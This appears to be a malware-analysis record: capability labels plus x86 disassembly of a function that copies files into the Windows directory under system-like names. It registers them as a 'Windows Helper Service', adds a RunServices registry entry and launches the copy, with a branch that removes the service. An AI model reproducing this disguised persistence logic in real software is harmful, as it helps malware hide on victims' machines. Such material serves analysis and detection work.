Function at 0x40b5b0
Capabilities:
Copy file
Create process on windows
Create service
Delete service
Get common file path
Modify service
Persist via run registry key
Persist via windows service
Query service configuration
Set registry value
Start service
Stop service

Disassembly:
sub esp, 0xc40
push ebx
push ebp
push esi
push edi
push str.Systec
mov ecx, 0x4858f0
call fcn.00402650
push 0x47cec8
push str.Systec
push 0xffffffffffffffff
push 0x4858f4
call fcn.0040c750
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
add esp, 0x10
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0xc5c]
cmp eax, ebx
je 0x40b616
push 0x103
push eax
lea eax, [esp + 0x38]
push eax
call fcn.00411280
add esp, 0xc
lea ecx, [esp + 0x30]
push ecx
call fcn.00458a4d
lea edx, [esp + 0x34]
push str._cleardata
push edx
call fcn.00411550
add esp, 0xc
test eax, eax
jne 0x40b64c
lea eax, [esp + 0x30]
push 0x47ceb0
push eax
call fcn.00411550
add esp, 8
test eax, eax
je 0x40b651
call fcn.0040b330
call fcn.004380e0
test eax, eax
je 0x40b6c9
push 0x20000000
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
cmp ebp, ebx
je 0x40b70e
push 0x20010000
push str.Winhlpsvr
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
je 0x40b6c0
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], ebx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
cmp eax, ebx
jne 0x40b6b2
cmp dword [esp + 0x18], 1
jne 0x40b6b9
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40b70e
lea ecx, [esp + 0x10]
call fcn.00420c40
push 0x2001f
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push SysFreeString
lea ecx, [esp + 0x1c]
call fcn.00420ce0
test eax, eax
je 0x40b705
push str.Winhlpsvr
lea ecx, [esp + 0x14]
call fcn.00422bc0
lea ecx, [esp + 0x10]
call fcn.00420d40
lea ecx, [esp + 0x10]
call fcn.00420c60
call fcn.00401180
call fcn.0040b0a0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x545]
mov byte [esp + 0x544], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x441]
mov byte [esp + 0x440], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x33d]
mov byte [esp + 0x33c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x33c]
push 0x104
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x33c]
push str.bakrdgv3.sys
push eax
lea ecx, [esp + 0x54c]
push 0x47c054
push ecx
call fcn.0041198f
add esp, 0x10
lea edx, [esp + 0x33c]
lea eax, [esp + 0x440]
push str.bakwdgsvr.sys
push edx
push 0x47c054
push eax
call fcn.0041198f
lea ecx, [esp + 0x658]
push 0x104
push ecx
call fcn.0040adc0
add esp, 0x18
test eax, eax
je 0x40ba2d
lea edx, [esp + 0x648]
push str.winrdgv3.exe
push edx
lea eax, [esp + 0x13c]
push 0x47c054
push eax
call fcn.0041198f
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x10
lea ecx, [esp + 0x134]
lea edx, [esp + 0x544]
push ebx
push ecx
push edx
call esi
lea eax, [esp + 0x648]
push str.winwdgsvr.exe
push eax
lea ecx, [esp + 0x754]
push 0x47c054
push ecx
call fcn.0041198f
add esp, 0x10
lea edx, [esp + 0x74c]
lea eax, [esp + 0x440]
push ebx
push edx
push eax
call esi
lea ecx, [esp + 0x134]
lea edx, [esp + 0x238]
push ecx
push str.__s_
push edx
call fcn.0041198f
add esp, 0xc
call fcn.004380e0
test eax, eax
je 0x40b9c4
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
cmp ebp, ebx
je 0x40ba2d
push 0xf01ff
push str..Winhlpsvr
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
jne 0x40b8d6
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x144]
push str..OcularServices
push eax
push 1
push 2
push 0x110
push 0xf01ff
push str.Windows_Helper_Service
push str..Winhlpsvr
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
jmp 0x40b997
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x851]
mov byte [esp + 0x850], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x850]
stosw word es:[edi], ax
push ecx
push 0x400
push edx
push esi
stosb byte es:[edi], al
mov dword [esp + 0x20], ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x40b997
cmp dword [esp + 0x854], 2
jne 0x40b978
mov eax, dword [esp + 0x85c]
cmp eax, ebx
je 0x40b978
lea ecx, [esp + 0x134]
push ecx
push eax
call fcn.004110de
add esp, 8
test eax, eax
je 0x40b95b
mov eax, dword [esp + 0x85c]
lea edx, [esp + 0x238]
push edx
push eax
call fcn.004110de
add esp, 8
test eax, eax
jne 0x40b978
mov eax, dword [esp + 0x860]
cmp eax, ebx
je 0x40b978
push str..OcularServices
push eax
call fcn.004110de
add esp, 8
test eax, eax
je 0x40b997
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x24c]
push str..OcularServices
push ecx
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
call fcn.0040b4f0
cmp esi, ebx
je 0x40b9a9
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc40
ret 0x10
lea edx, [esp + 0x10]
mov dword [esp + 0x10], ebx
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push SysFreeString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40ba16
lea edi, [esp + 0x238]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x238]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 1
push ebx
push str..Winhlpsvr
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push ebx
lea eax, [esp + 0x13c]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc40
ret 0x10